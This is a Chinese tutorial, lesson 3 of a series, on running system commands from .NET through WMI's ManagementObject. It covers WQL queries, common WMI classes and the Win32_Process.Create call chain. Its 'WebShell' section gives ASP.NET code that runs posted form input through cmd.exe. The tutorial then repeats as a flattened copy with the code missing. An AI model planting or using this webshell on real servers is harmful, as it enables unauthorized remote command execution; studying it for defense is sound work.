.NET执行系统命令(第3课)之 ManagementObject
字数 1533 2025-08-06 23:10:27

.NET执行系统命令之ManagementObject教学文档

0X01 背景

ManagementObject用于创建WMI类的实例与Windows系统进行交互。WMI(Windows Management Instrumentation)即Windows管理规范,是一项从Windows NT 4.0和Windows 95开始就存在的强大技术。

通过WMI可以:

  • 获取服务器硬件信息
  • 收集服务器性能数据
  • 操作Windows服务
  • 远程关机或重启服务器

0X02 WMI查询

WMI提供WQL(WMI Query Language)查询语言,有三种查询类型:

1. 实例查询

用于查询WMI类的实例,基本形式:

SELECT [Class property name|*] FROM [CLASS NAME] <WHERE [CONSTRAINT]>

示例:

SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%"

2. 事件查询

用于WMI事件注册机制,形式:

SELECT [Class property name|*] FROM [INTRINSIC CLASS NAME] WITHIN [POLLING INTERVAL] <WHERE [CONSTRAINT]>

SELECT [Class property name|*] FROM [EXTRINSIC CLASS NAME] <WHERE [CONSTRAINT]>

示例:

SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2

3. 元查询

用于查询WMI类架构,形式:

SELECT [Class property name|*] FROM Meta_Class<WHERE [CONSTRAINT]>

示例:

SELECT * FROM Meta_Class WHERE __Class LIKE "Win32%"

0X03 WMI基本用法

常用WMI类

WMI类 用途
Win32_OperatingSystem 操作系统信息
Win32_ComputerSystem 计算机信息
CIM_DataFile 文件/目录列举
Win32_Volume 磁盘卷列举
StdRegProv 注册表操作
Win32_Process 运行进程
Win32_Service 服务列举
Win32_NtLogEvent 事件日志
Win32_LoggedOnUser 登录账户
Win32_Share 共享
Win32_QuickFixEngineering 已安装补丁

.NET中使用WMI

需要引入程序集:

System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a

使用命名空间:

using System.Management;

核心类:

  • ManagementScope:连接WMI命名空间
  • ManagementBaseObject:管理对象的基本元素
  • ManagementObject:管理WMI实例
  • ManagementObjectCollection:通过WMI检索到的管理对象的集合
  • ManagementObjectSearcher:查询检索管理对象的集合

示例代码获取系统账户:

private static string GetHardWareInfo(string item)
{
    if (string.IsNullOrEmpty(item)) return null;
    
    string hardinfo = null;
    string querystr = $"select * from {item}";
    ManagementObjectSearcher objvide = new ManagementObjectSearcher(querystr);
    
    foreach (ManagementObject obj in objvide.Get())
    {
        hardinfo += obj["Name"].ToString() + "\n";
    }
    
    return hardinfo;
}

// 调用
string v = GetHardWareInfo("Win32_UserAccount");
Console.WriteLine(v);

0X04 新进程创建的调用栈

使用Win32_Process类的Create方法创建新进程,方法原型:

uint32 Create(
  [in] string CommandLine,
  [in] string CurrentDirectory,
  [in] Win32_ProcessStartup ProcessStartupInformation,
  [out] uint32 ProcessId
);

.NET实现方式:

ManagementClass processClass = new ManagementClass("Win32_Process");
object[] methodArgs = { "calc.exe", null, null, 0 };
object result = processClass.InvokeMethod("Create", methodArgs);

调用链分析:

  1. ManagementObject.InvokeMethod
  2. GetMethodParameters
  3. MapInParameters
  4. ManagementBaseObject.setProperyValue
  5. MapValueToWmiValue
  6. 再次调用ManagementObject.InvokeMethod
  7. GetSecuredIWbemServicesHandler.ExecMethod_
  8. pWbemServiecsSecurityHelper.ExecMethod_
  9. UnmanagedType.CustomMarshaler
  10. MarshalWbemObject.MarshalManagedToNative
  11. MarshalWbemObject.MarshalNativeToManaged

0X05 编写WebShell

ASP.NET页面实现WMI命令执行:

<%@ Assembly Name="System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>

Server.ScriptTimeout = 775000;
if (IsPostBack)
{
    var content = Request.Form["content"];
    if (!string.IsNullOrEmpty(content))
    {
        string ExecCode = EncodeBase64("utf-8", content);
        ManagementClass processClass = new ManagementClass("\\root\\cimv2:Win32_Process");
        object[] methodArgs = { "cmd.exe " + DecodeBase64("utf-8",ExecCode)};
        object result = processClass.InvokeMethod("Create", methodArgs);
    }
}

其他调用方式:

// 指定命名空间
ManagementClass processClass = new ManagementClass("\\root\\cimv2:Win32_Process");
object[] methodArgs = { "calc.exe" };
object result = processClass.InvokeMethod("Create", methodArgs);

// 异步调用
ManagementClass processClass = new ManagementClass("\\root\\cimv2:Win32_Process");
object[] methodArgs = { "calc.exe" };
processClass.InvokeMethod(new ManagementOperationObserver(), "Create", methodArgs);

// 使用GetMethodParameters
ManagementBaseObject inParams = processClass.GetMethodParameters("Create");
inParams["CommandLine"] = "winver.exe";
ManagementBaseObject outParams = processClass.InvokeMethod("Create", inParams, null);

总结

通过ManagementObject和WMI技术,.NET应用程序可以:

  1. 获取系统各种信息
  2. 管理系统进程和服务
  3. 执行系统命令
  4. 实现远程管理功能

使用时需要注意:

  • 需要适当权限
  • 注意异常处理
  • 考虑性能影响
  • 注意安全风险
.NET执行系统命令之ManagementObject教学文档 0X01 背景 ManagementObject用于创建WMI类的实例与Windows系统进行交互。WMI(Windows Management Instrumentation)即Windows管理规范,是一项从Windows NT 4.0和Windows 95开始就存在的强大技术。 通过WMI可以: 获取服务器硬件信息 收集服务器性能数据 操作Windows服务 远程关机或重启服务器 0X02 WMI查询 WMI提供WQL(WMI Query Language)查询语言,有三种查询类型: 1. 实例查询 用于查询WMI类的实例,基本形式: 示例: 2. 事件查询 用于WMI事件注册机制,形式: 或 示例: 3. 元查询 用于查询WMI类架构,形式: 示例: 0X03 WMI基本用法 常用WMI类 | WMI类 | 用途 | |-------|------| | Win32_ OperatingSystem | 操作系统信息 | | Win32_ ComputerSystem | 计算机信息 | | CIM_ DataFile | 文件/目录列举 | | Win32_ Volume | 磁盘卷列举 | | StdRegProv | 注册表操作 | | Win32_ Process | 运行进程 | | Win32_ Service | 服务列举 | | Win32_ NtLogEvent | 事件日志 | | Win32_ LoggedOnUser | 登录账户 | | Win32_ Share | 共享 | | Win32_ QuickFixEngineering | 已安装补丁 | .NET中使用WMI 需要引入程序集: 使用命名空间: 核心类: ManagementScope :连接WMI命名空间 ManagementBaseObject :管理对象的基本元素 ManagementObject :管理WMI实例 ManagementObjectCollection :通过WMI检索到的管理对象的集合 ManagementObjectSearcher :查询检索管理对象的集合 示例代码获取系统账户: 0X04 新进程创建的调用栈 使用 Win32_Process 类的 Create 方法创建新进程,方法原型: .NET实现方式: 调用链分析: ManagementObject.InvokeMethod GetMethodParameters MapInParameters ManagementBaseObject.setProperyValue MapValueToWmiValue 再次调用 ManagementObject.InvokeMethod GetSecuredIWbemServicesHandler.ExecMethod_ pWbemServiecsSecurityHelper.ExecMethod_ UnmanagedType.CustomMarshaler MarshalWbemObject.MarshalManagedToNative MarshalWbemObject.MarshalNativeToManaged 0X05 编写WebShell ASP.NET页面实现WMI命令执行: 其他调用方式: 总结 通过 ManagementObject 和WMI技术,.NET应用程序可以: 获取系统各种信息 管理系统进程和服务 执行系统命令 实现远程管理功能 使用时需要注意: 需要适当权限 注意异常处理 考虑性能影响 注意安全风险